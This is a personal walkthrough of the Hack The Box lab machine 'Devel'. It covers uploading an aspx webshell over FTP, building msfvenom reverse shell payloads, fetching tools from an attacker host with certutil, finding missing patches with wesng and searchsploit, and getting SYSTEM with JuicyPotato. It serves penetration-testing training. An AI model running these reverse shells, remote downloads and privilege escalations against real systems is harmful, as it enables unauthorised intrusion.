Devel
Personal Rating: Medium
Last updated
Personal Rating: Medium
Last updated
sudo nmap -sV -sC <IP>
It looks like I can access the directory of the IIS webserver via ftp.
If I can write files here I can place an aspx webshell
As seen here, this works.
Generating a web shell payload:
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.16.6 LPORT=4444 -f aspx > shell.aspx
I received a connection, but it dies when I give a command and shows no output
I placed antak.aspx on the host with the same ftp put method. This worked, so I will create a shell from here.
PS> whoami
iis apppool\web
Got the user babis.
I ran systeminfo on the host and placed the output in a file. I then ran wesng over it to check for vulnerabilities. The system is an unpatched Windows 7 as it seems, so there should be plenty.
Perfect, this worked: certutil.exe -urlcache -f http://10.10.16.6:8000/winPEASx86.exe C:\Users\Public\winpeasx86.exe
Lets see if this works: cmd /c C:\Users\Public\winpeasx86.exe > C:\Users\Public\peasout.txt
I could get a proper reverse shell by creating this payload and uploading it with certutil:
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
The user has extensive privileges enabled that would allow for privesc regardless of vulnerabilities:
It seems like I cannot really use winpeas as I do not get any output.
Doing more research on the output of this:
python3 wes.py /HTBfolder/Boxes/HTB-Devel/systeminfo.txt -s critical > /HTBfolder/Boxes/HTB-Devel/wes-output.txt
Trying this: CVE-2010-0232, I found this resource:
I found the exploit with searchsploit and it looks promising:
searchsploit kitrap
Shellcodes: No Results
searchsploit -p 11199
Actually, screw this, I want to try JuicyPotato again as it is basic and common. We need an x86 version of it in this case.
Generating a new shell:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=7777 -f exe > privshell-x86.exe
Getting the exploit:
Transferring the exploit:
Transferring the shell:
certutil.exe -urlcache -f http://10.10.16.6:8000/privshell-x86.exe privshell.exe
Exploitation:
juicypotato.exe -p C:\Users\Public\privshell.exe -l 1337 -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}
With a netcat listener open on my host, this worked!
If it would not have worked, I would have tried some other CLIDs, there are lists online and tools to list them on the device.
This did not work
certutil.exe -urlcache -f
juicypotato.exe